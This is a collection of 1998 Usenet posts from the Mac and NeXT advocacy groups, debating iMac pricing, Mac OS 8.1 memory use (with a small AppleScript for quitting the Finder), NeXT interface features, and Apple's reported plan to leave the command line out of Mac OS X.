Organization: ttp://my.excite.com/?cobrand=apple
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net>
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Message-ID: <359b270f.0@carrera>
Sorry pal, but I must disagree with you. The imac is a much better deal.
For 299 more you get a NEW (longer)warranty machine including the 15inch
monitor, modem faster bus 4 gig hard drive, fast 100 base-t, more ram
(32 meg) and faster G3-233 cpu. And a cool case to boot!
From: Jeff Read <bitwize@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Mon, 29 Jun 1998 11:47:20 +0000
Organization: Not really
Message-ID: <35977EC8.A1B1561C@geocities.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <35955021.48983447@hydra> <35b12752.118772205@news.nai.net>
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J Perry Fecteau wrote:
> more because it is still trying to find a space between nt and unix (which is
> still growing). beside i was not inferring that novell would rule, it's unix
> that will still be running the world.
Novell is a NOS-replacement for DOS. So if you're looking for the next
generation NetWare, then yes, it probably is NT. But for a real
networked server operating system, an OS resembling Unix or VMS (real
VMS, not M$-corrupted NT) is probably a good way to go.
--
----------------------------------------------------------------------
Jeff Read <bitwize@geocities.com>/ http://genpc.home.ml.org
Unix / Linux / Windows Hacker, / Boycott Microsoft!
Anime & Sonic Fan, / Use Linux/GNU!
All Around Nice Guy / Let's keep the Net and the Land FREE!
----------------------------------------------------------------------
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 12:34:35 -0400
Organization: Manual Labor
Message-ID: <kindall-2906981234350001@nic-c10-177.mw.mediaone.net>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <359ba80a.6164174@news.newsguy.com>
In article <359ba80a.6164174@news.newsguy.com>, telam@iquest.net (Tom
Elam) wrote:
> On Sun, 28 Jun 1998 22:53:38 -0700, macghod@concentric.net (Steve Sullivan)
> wrote:
>
> >I am not a programmer so I cant say this is a leak, but it is really
> >annoying. Here is what about this computer says (note this is with NO
> >APPS open)
> >
> >macos 8.1
> >built in memory 64 mb
> >virtualy memory 65.8
> >largest unused block 28.1 mb
> >macos 13.2 mb
> >
> >Now where is my other 25 megs of memory? Their are no apps open so please
> >dont tell me its fragmented memory, unless you can explain how its
> >fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
>
> Better than force quitting Finder, upgrade to Win 98 or NT where this issue is
> NEVER a problem.
You can't upgrade from Mac OS to Win 98 or NT. You'd have to buy a whole
new computer. This doesn't strike me as a particularly practical solution
to something that's not even actually a problem.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
MWJ, the Weekly Journal for Serious Mac Users http://www.gcsf.com
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 29 Jun 1998 08:48:23 +0100
Organization: EarthLink Network, Inc.
Message-ID: <359746C4.5B96@earthlink.net>
References: <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <1998062701245600.VAA07817@ladder03.news.aol.com> <forrestDELETE-THIS!-2606982103030001@term3-12.vta.west.net> <35950379.1CA9B26E@nstar.net> <3596BA10.2EA4@earthlink.net> <see-below-2906980059240001@dynamic62.pm04.mv.best.com>
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To: Matthew Vaughan <matthewv@best.com>
CC: willadams@aol.com
Matthew Vaughan wrote:
> I haven't seen the Next color wheel, but it seems to me the current Mac
> one is very good for picking colors (it's not just one wheel, it has all
> kinds of different ways to define colors). So all it would take is making
> it movable (should be trivial, don't know why they haven't done this
> before) and adding the ability to save colors and lists of colors (also
> should be trivial) to make you happy, right?
All it would take is to keep the NeXT colorwheel.
Will Adams wrote:
> BTW, I finally found out (had read this in a post once, but couldn't find it)
> what the 3d bezel around the color wheel in an application is for--clicking on
> it actively links the app's color selection to the selection which one is
> making in the color palette--nifty!
Yes Will. All of the things you have found out about the NeXT
colorwheel are quite nifty. I sure hope it remains intact when
Rhapsody/Mac OS X arrives. I believe other Mac users (especially
"content creators") will welcome this incredible tool.
Steve
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35975ac6.0@nnrp1.news.uk.psi.net>
Date: 29 Jun 98 09:13:42 GMT
aman@aman.com (A-Man) wrote:
>In article <6n6a2e$21s$1@news.cmc.net>, com.occam@leonvs wrote:
>
>> Here's my One Big Question: Without a command line, am I going to be put
>> in the position of insulting the remote administration "capabilities" as
>> I do now with NT?
>
>I administer several MacOS-based servers right now and am very happy with
>the capabilities. There are several options - none of which require a
>CLI:
<tools for viable solutions omitted>
That rather misses the point that removing the CLI would put off all those
Unix system administrators out there who know how to do the job with a toolset
that already exists on Rhapsody and could have switched over to the new GUI
toolset gradually. Why should they buy a MacOS server instead of a Linux
server if they have to learn all the sysadmin tools in one go?
>> It seems like Apple has to go *out of their way* to not have a CLI in
>> Mac OS X, crippling its chances of playing well in a UNIX networking
>> environment. There's a lot invested in UNIX remote admin tools, and Apple
>> is willing to toss it all away.
>
>It seems like Apple has decided that they don't want to have to support
>Unix admin tools for their customers, so they are leaving that up to third
>parties. Someone will offer the tools you want. You'll just have to pay
>for them.
1. The support cost for the basic CLI tools is negligable - and even if it was
an issue, they could be provided on the OS installation CD-ROM as an unsupported
package - it wouldn't scare off a unix sysadmin.
2. If you have to pay for them - why not buy a Linux system instead. The only way
MacOS can appeal as a server system is to provide new and better GUI tools AS WELL
as the old toolset - so a sysadmin can try out the new stuff while relying on the
old.
>> This only compounds the damage from the loss of remote display.
>
>The overwelming majority of MacOS X customers, whether they were previous
>MacOS or Wintel users, will never miss what they didn't have before.
I know of many sites that run networks of Macs with unix (and even windows) boxes
as the servers ... perhaps they missed some things?
>> So maybe I'll be able to buy a Timbuktu-like product to get remote
>> display back. Maybe I'll be able to use AppleScript to replace the
>> perfectly shell scripts I currently use. Maybe I can buy a third-party
>> command line app to recover access to the broad suite of UNIX utilties.
>> And I can still use NetInfo (presumably) to handle most network config
>> issues.
>>
>> WHY MAKE IT THIS HARD?!
>
>To make it easier for their current customers to stay with the platform.
>That is job #1. It seems that Apple will work on meeting your needs when
>they have the resources to do so - which may be a while yet.
NONSENSE - removing the CLI on NO WAY makes it easier for current customers.
>If you want to run your free Unix servers on MacOS X you'll probably just
>have to buy a third-party shell. Go look at http://www.tenon.com/ I'll
>bet they will offer what you'll need since their job is getting much
>easier with MacOS X.
So we'll end up buying unix boxes rather than MacOS boxes - because they will
be cheaper and easier as we won't have to pay for the sysadmin tools.
Actually, I might buy MacOS and use the NetInfo tools anyway - but that's because
I already know and love the NeXTstep GUI tools - even so - I'd worry about the
odd occasions when not having the CLI available would make my job slower.
>> Why is Apple willing to ignore nearly thirty years of UNIX admin
>> experience built up in the marketplace?
> . . .
>> WHY do we have to give up so much to get the rest of the good stuff?
>
>You don't have to give anything up if it is worth paying for. I suspect
>that your frustration is actually more "I'll have to pay now for a new
>improved OS" rather than "the new OS is useless for me". I do acknowledge
>your concerns are important for a large number of ex-Next folks. It would
>be politcally smart for Apple to at least respond directly to your
>concerns.
As someone who wants to see Apple succeed - I'm very annoyed if I have to pay
extra for something I can get free on other systems - especially as I know it
would cost Apple next to nothing in to leave these things in the system and
that leaving them out will reduce Apples potential market share.
Well - I've emailed them anyway - I wonder how they will respond?
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 12:46:48 +0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-2906981246490001@pm1-48.ile.infi.net>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <see-below-2906980054170001@dynamic62.pm04.mv.best.com>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <see-below-2906980054170001@dynamic62.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > I am not a programmer so I cant say this is a leak, but it is really
> > annoying. Here is what about this computer says (note this is with NO
> > APPS open)
> >
> > macos 8.1
> > built in memory 64 mb
> > virtualy memory 65.8
> > largest unused block 28.1 mb
> > macos 13.2 mb
> >
> > Now where is my other 25 megs of memory? Their are no apps open so please
> > dont tell me its fragmented memory, unless you can explain how its
> > fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
>
>
> Yeah, this happens to me frequently and it's damn annoying. Try
> force-quitting the Finder--usually that will free everything up.
>
> ....................................................
> MATTHEW VAUGHAN
> matthewv at best dot com (damn spammers...)
> http://www.best.com/~matthewv/
> ....................................................
Also, consider downloading a freebie prog called "FixHeap". This
application releases unused heap that the OS can sometimes forget about. I
usually only see memory fragmentation occur when I run apps that load
shared libraries, or make calles to open transport (which would then run
communications drivers, like FreePPP, OT/PPP, and the like. Sometimes the
comm software also calles up my Express Modem software, and loads that,
too). Also consider in finding another tool called "MacOS Purge", which
purges unnecessary resources from the system heap.
That's quite a large system heap, even for VM, I might add. My specs are
as follows:
MacOS 8.1
Real Memory: 32 MB
VM ON:
system heap: 8.1 MB
VM OFF
system heap: 11.5 MB
I've only got 19 control panels, and 181 extensions installed (181 items,
don't know how many have INITs). If you really want to cut down on how
much memory the system heaps is taking, consider getting "Symbionts". It's
an extensions manager that has the added feature of recording how much
memory each INIT requests at startup, letting you eliminate those that
request the largest amounts of RAM.
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: David Campitelli <dcampit@tspi.elan.af.mil>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 09:27:27 -0700
Organization: Air Force Flight Test Center
Message-ID: <3597C06E.25EFA61@tspi.elan.af.mil>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Steve Sullivan wrote:
> I am not a programmer so I cant say this is a leak, but it is really
> annoying. Here is what about this computer says (note this is with NO
> APPS open)
>
> macos 8.1
> built in memory 64 mb
> virtualy memory 65.8
> largest unused block 28.1 mb
> macos 13.2 mb
>
> Now where is my other 25 megs of memory? Their are no apps open so please
> dont tell me its fragmented memory, unless you can explain how its
> fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
>
> --
> So many pedestrians, so little time.
Your memory is fragmented. This is when you open programs in an order and
then quit them in a different order. The space used by program number one is
unused until program number two is also quit. This has always seemed strange
to me and is supposedly going to be fixed soon. In the mean time here are a
few hints as what to do. There is a tiny app call MacOS purge that helps clean
up memory usage, or you could quit all open apps and relaunch them.
I do have one question for you. Do you get memory warnings because of
this? When I was using 7.5.5 I would get memory warning because of the
fragmentation but I now use 8.1 and if VM is on it has reshuffled my memory.
In other words I have a similar set up to yours but I would have about 35 megs
of ram unused and only 12 in largest unused block. I would start a program
that is set to use 28 megs of ram and it would run just fine. When I quit that
program I had a largest unused block of 28 megs. Don't know why but VM seems
to juggle the memory.
Good luck
Dave
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Confused about Apple
Date: Mon, 29 Jun 1998 09:34:11 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2906980934110001@dante.eng.uci.edu>
References: <macghod-2606981505530001@sdn-ar-001casbarp301.dialsprint.net> <rmcassid-2606981604470001@dante.eng.uci.edu> <6n1jkk$iap$3@ash.prod.itd.earthlink.net>
In article <6n1jkk$iap$3@ash.prod.itd.earthlink.net>, "Ziya Oz"
<ziyaoz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>>So they will sell MacOS now and develop the enterprise stuff in the mean
>>time, but not make a big deal about it......
>
>You say that based on what?
Presumption of logical thought. If I'm willing to grant that presumption
to MS, then I should grant it to Apple as well.
>> ........ the enterprise
>>components will be much better, and the focus will start to shift.
>
>Enterprise software (or even hardware), which by its very nature connects to
>other software/platforms/systems, is not something you develop in obscurity and
>isolation. In today's world, if you're not jumping up and down IT folk won't
>even hear you over NT or know you're there.
Apple can't jump up and down enough right now for IT folk to hear them. Or
if they do, they will surely find a half dozen excuses not to listen -
"Where's Visual Basic support?" and so on. Apple needs to address some of
these things first - the basics. There are certain things that the IT
people will live without and others that they cannot. Apple needs to have
the latter in place before jumping up and down, for credibility purposes.
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New OS Graphics Idea
Date: Mon, 29 Jun 1998 19:02:30 -0700
Message-ID: <see-below-2906981902300001@dynamic45.pm01.mv.best.com>
References: <6n8pui$qo3$1@nnrp1.dejanews.com> <6n90tq$uhh1@onews.collins.rockwell.com> <3598260C.D8779C93@nstar.net>
In article <3598260C.D8779C93@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Erik M. Buck wrote:
> >
> > The following idea is the future. Unfortunately, bitmaps exist for a
reason.
> > A complex picture with thousands or hundreds of thousands of vectors can
> > take a long time to draw compared to the pre-rendered bit map. The SGI GUI
> > with 3d vector graphics does not look very good, it has "simple" graphics,
> > and its performance is bad on the fastest available graphics hardware.
>
> But as the original poster alluded, accelerated hardware is making
> OpenGL a very attractive solution to the speed problem. OpenGL needs a
> ton more work to complete the picture, but it is coming closer all the
> time. It's time for believers to throw their weight behind it. Vector
> graphics accelerated in hardware are already here.
Yes. Oddly enough (or perhaps not) the thing that really opened my eyes to
these possibilities was getting a 3Dfx Voodoo Graphics card and playing
Quake on it. First time I had that experience, I thought "with this, you
could actually use 3D for _everything_ with decent performance" Of course,
Quake is very highly optimized and only does certain things well, but at
least you can see the possibilities. And playing Quake on the internet
helped open my eyes to some future possibilities of the online world.
I hate to say it, for all the sensitive fuddy-duddy non-game-playing
people out there, just as pornography is the leading edge of the internet
as an ecenomic success story (as it was with VCRs and tape rentals), games
are the leading edge of graphics, sound, and input technology.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New OS Graphics Idea
Message-ID: <1998063002122400.WAA19734@ladder03.news.aol.com>
Date: 30 Jun 1998 02:12:24 GMT
Organization: AOL http://www.aol.com
References: <see-below-2906981902300001@dynamic45.pm01.mv.best.com>
MATTHEW VAUGHAN said:
>games
>are the leading edge of graphics, sound, and input technology.
There's a lot less risk in setting up a game UI than an OS's, though I have
seen some really bad ones--Megatraveller was something I never figured out.
Also, a lot more games get released, so there's more iteration...
But this is all obvious--the book _Designing Visual Interfaces_ has some
interesting stuff on games, I was surprised that _Tog on Software Design_ seems
to have so little, though the "Starfire" concept described in the latter ties
in quite nicely (I think) with the dicussion here about vector graphics.
Even so, I'm still holding out some bit of hope for the GNUstep project
decoupling the interface from the programs/OS so that one can choose a UI at
will.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 22:45:36 +0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-2906982245370001@pm1-37.ile.infi.net>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <see-below-2906980054170001@dynamic62.pm04.mv.best.com> <19980629192301363804@asd-p267.dial.xs4all.nl> <see-below-2906981625210001@dynamic45.pm01.mv.best.com>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <see-below-2906981625210001@dynamic45.pm01.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <19980629192301363804@asd-p267.dial.xs4all.nl>,
> johnkl@xs4all.nl (John Klijnen) wrote:
>
> > Matthew Vaughan <see-below@not-my-address.com> wrote:
> >
> > > In article <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>,
> > > macghod@concentric.net (Steve Sullivan) wrote:
> > >
> > > > I am not a programmer so I cant say this is a leak, but it is really
> > > > annoying. Here is what about this computer says (note this is with NO
> > > > APPS open)
> > > >
> > > > macos 8.1
> > > > built in memory 64 mb
> > > > virtualy memory 65.8
> > > > largest unused block 28.1 mb
> > > > macos 13.2 mb
> > > >
> > > > Now where is my other 25 megs of memory? Their are no apps open
so please
> > > > dont tell me its fragmented memory, unless you can explain how its
> > > > fragmented with NOTHING opened (except for the os which takes up
13.2 mb)
> > >
> > >
> > > Yeah, this happens to me frequently and it's damn annoying. Try
> > > force-quitting the Finder--usually that will free everything up.
> >
> > Don't force quit the finder! It could leave your system in an unstable
> > condition. Make a script with scriptmaker:
> >
> > tell application "Finder"
> > quit
> > end tell
>
> I have used the utility "Quitter" to do the same thing, but have never
> noticed any difference in subsequent stability between that and just
> force-quitting (ie, neither ever seems to cause problems), the latter
> being much faster and more convenient.
>
> > First run a util called "Mac OS Purge". If this doesn't do the trick
>
> I've had that for a couple of years, and it _never_ does the trick.
>
> > quit the finder with the script from above. After that run "Mac OS
> > Purge" again.
> > If this doesn't bring your memory back you can always restart your
> > computer. It works 9 out of 10 times for me!
>
> ....................................................
> MATTHEW VAUGHAN
> matthewv at best dot com (damn spammers...)
> http://www.best.com/~matthewv/
> ....................................................
Try a util called "FixHeap" (i've mentioned this before in an earlier
response). It doesn't just purge the system heap, it releases unused space
in all of memory. The result is that (at least for me) I can jump from the
largest unused block of 14 MB to 20 MB. (I've got 32 MB real RAM, and 0 MB
VM; the sys heap takes up close to 12 MB)
Also consider getting "Symbionts", and "InformINIT 8.1". These utils can
really help you cut down on the amount of memory the system occupies, and
will help to speed up boot time.
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 22:50:11 +0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-2906982250120001@pm1-37.ile.infi.net>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <see-below-2906980054170001@dynamic62.pm04.mv.best.com> <19980629192301363804@asd-p267.dial.xs4all.nl>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <19980629192301363804@asd-p267.dial.xs4all.nl>,
johnkl@xs4all.nl (John Klijnen) wrote:
> Matthew Vaughan <see-below@not-my-address.com> wrote:
>
> > In article <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>,
> > macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > I am not a programmer so I cant say this is a leak, but it is really
> > > annoying. Here is what about this computer says (note this is with NO
> > > APPS open)
> > >
> > > macos 8.1
> > > built in memory 64 mb
> > > virtualy memory 65.8
> > > largest unused block 28.1 mb
> > > macos 13.2 mb
> > >
> > > Now where is my other 25 megs of memory? Their are no apps open so please
> > > dont tell me its fragmented memory, unless you can explain how its
> > > fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
> >
> >
> > Yeah, this happens to me frequently and it's damn annoying. Try
> > force-quitting the Finder--usually that will free everything up.
>
> Don't force quit the finder! It could leave your system in an unstable
> condition. Make a script with scriptmaker:
>
> tell application "Finder"
> quit
> end tell
>
> First run a util called "Mac OS Purge". If this doesn't do the trick
> quit the finder with the script from above. After that run "Mac OS
> Purge" again.
> If this doesn't bring your memory back you can always restart your
> computer. It works 9 out of 10 times for me!
This is kind of trivial, but a better script (that posts a dialog for
confirmation) would be:
on run
tell application "Finder"
try
display dialog "Do you really wish to quit the Finder?" buttons
{"OK","Cancel"} default button 2 with icon 2
if (button returned of the result is "OK")
quit
end if
on error(errMsg)
display dialog errMsg buttons {"OK"} default button 1 with icon 1
end try
end tell
end run
Note the "on error(errMsg)" part. This is a very usefult routine I've
found to display any errors that have occured.
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 30 Jun 1998 03:25:16 GMT
Organization: I don't think so
Message-ID: <slrn6pgn1j.2ct.jason@jhste1.dyn.ml.org>
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com> <35975ac6.0@nnrp1.news.uk.psi.net> <6n8s70$shg@nntp02.primenet.com> <slrn6pfu1h.136.jason@jhste1.dyn.ml.org> <6n9aa2$hna$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca posted the following to comp.sys.mac.advocacy:
>> IMO, it's totally pointless not to make the shell available if the system
>> can support it. For one thing, remote access is much more practical
>> with a command-line shell.
>Do you mean remote access to your system or to other people's systems? I don't
>need a shell to run a telnet server. I only need a shell to access one. If
>Apple forces me to download a shell but still provides a telnet server then I
>won't complain.
Not sure what you mean by this.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 30 Jun 1998 17:15:03 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6nb6en$3li$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de> <6mtk5s$83h$2@ndnws01.ne.highway1.com> <6n81ne$9mp$1@sun27.hrz.tu-darmstadt.de> <6n7o55$p6j$3@ns3.vrx.net> <SCOTT.98Jun29132542@slave.doubleu.com> <6nabg1$r2h$3@ns3.vrx.net>
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Content-Transfer-Encoding: 8bit
maury@remove_this.istar.ca (Maury Markowitz) writes:
> The fact that the world is a complex place has absolutely nothing
>whatsoever to do with the problem. Nor does Godel's incompleteness theorem.
>The fact remains that the programming systems themselves inflate the problem
>because they require us to program at a hardware level (a for loop for
>instance). There have been very few programming systems which have truely
>made an effort to avoid this problem.
Actually, many have tried, but so far, attempts to move to a higher
level have usually led to crippling of generality or to some other
increase in complexity at another end.
One of the fundamental problems is that the results of software
construction (frameworks, patterns, applications, systems, etc.)
usually cannot be manipulated with the same ease as the building
blocks (statements, functions, modules) that were used to in the
initial construction.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
Date: Tue, 30 Jun 1998 09:50:53 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Message-ID: <christian.bau-3006980950530001@christian-mac.isltd.insignia.com>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <3597C06E.25EFA61@tspi.elan.af.mil> <see-below-2906981621210001@dynamic45.pm01.mv.best.com> <macghod-2906982358210001@sdn-ar-001casbarp149.dialsprint.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <macghod-2906982358210001@sdn-ar-001casbarp149.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>
> But I am not talking about that. I understand that kind of memory
> fragmentation, it is very easy to understand. The system starts up and
> takes 13 megs of memory for itself. You open up some apps that take up
> some memory, and it gets fragmented. But when you quit all the apps, they
> return all the memory, and the system took its memory at startup, so I
> still dont see what is fragmenting? As my original post said, this is
> with NO APPS open, so I cant quit all open apps because their are no apps
> open!!
If you used any applications that accessed the internet, it can happen
that some memory is used after the application has quit. I am not hundred
percent sure of the details; it seems that when an Internet application
quits, there might still be messages on the way for it (from some other
computer on the Internet), and the application at least must be able to
tell others that it is gone.
If you can afford it, just switch virtual memory on and give your Mac lots
of virtual memory.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 30 Jun 1998 17:15:10 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <899226601.796273@kelp.mbay.net>
References: <6n6a2e$21s$1@news.cmc.net> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <6navm3$i5b$1@lwnws01.ne.highway1.com>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
In article <6navm3$i5b$1@lwnws01.ne.highway1.com>,
John Kheit <jkheit@mediaone.net> wrote:
>mark@sapphire.oaai.com (Mark Onyschuk) wrote:
>> Then they're deluded. I'm askin' myself, how many nanoseconds
>> after they announce a Unix "Plus Pack" do you see a free equivalent
>> gathering of common Unix utilities posted as an installer package
>> on one of the archive sites?
>
>Moreover, I wonder how many nanoseconds till serious unix heads
>start the "it's not a real serious or complete unix box" justifiable
>anti-advocacy campaign?
Particularly since some of their main competition is free. If I were
looking for something to install a web server on, I might pay a
premium of a couple hundred bucks to get something friendly. If
I also had to dick around to get a command line I'd be more likely
to just slap Linux or FreeBSD on some random box in the corner.
(Hmmmm. The way prices are falling it might soon be concievable that
buying a low-end PC with a free OS will be cheaper than buying
just the software for something like NT server.)
--
Don McGregor | "I give you my permission to misquote me. I improve
mcgredo@mbay.net | on misquotation." --Cary Grant
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Tue, 30 Jun 1998 12:25:49 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-3006981225500001@nas-p4.usc.net>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6nar2j$bi8$1@news.cmc.net>
In article <6nar2j$bi8$1@news.cmc.net>, com.occam@leonvs wrote:
> >Because it's an ass-load of cryptically-named utilities 90% of which will
> >never be used by the typical Mac user.
>
> So? The typical Mac user is not who I'm concerned with on this issue.
It's who Apple is concerned with.
> >the system in order to use faceless (non-GUI) utilities, it will be
> >available and, likely, very free.
> We have no reason at this time to expect that, though.
I really have no idea why you feel this way. First, there are already two
implementations of Linux for the PPC Macs, one of which is being done
in-house by Apple employees. If there's a need for the complement of Unix
utils, they'll be available.
> >free up the 300M of hard-drive space it requires.
>
> 300 MB! Clearly you're speaking w/o full knowledge of the issues
> involved.
Then why not enlighten poor little me? The BSD and POSIX APIs are
included, meaning that the full suite of BSD-compatible shells, utilities,
etc. will be able to be compiled for the new system. What isn't included
is the vast (at least 300M the last time I installed Linux) array of stuff
which comprises the Unix environment...the shells, the utilities, the
servers, X, the games, etc. You might have to add this stuff, but if you
don't think it's even going to be available free, I think you're dead
wrong. There are already two groups doing Linux for PPC Macs...porting
the tools will be trivial. Once that happens, it won't be any more
difficult to use them that it currently is under BeOS (which allows a
shell to be accessed via a terminal emulator for running CLI Unix-type
utilities and things). The only difference is that Apple might or might
not be the provider of the utilities...
> >use sh to get your work done? Fine...it will be available too.
>
> Not according to Apple, at least not built-in to the system.
I don't think this is the problem it's being made out to be...someone will
provide this if there's a demand. As others have noted, commercial
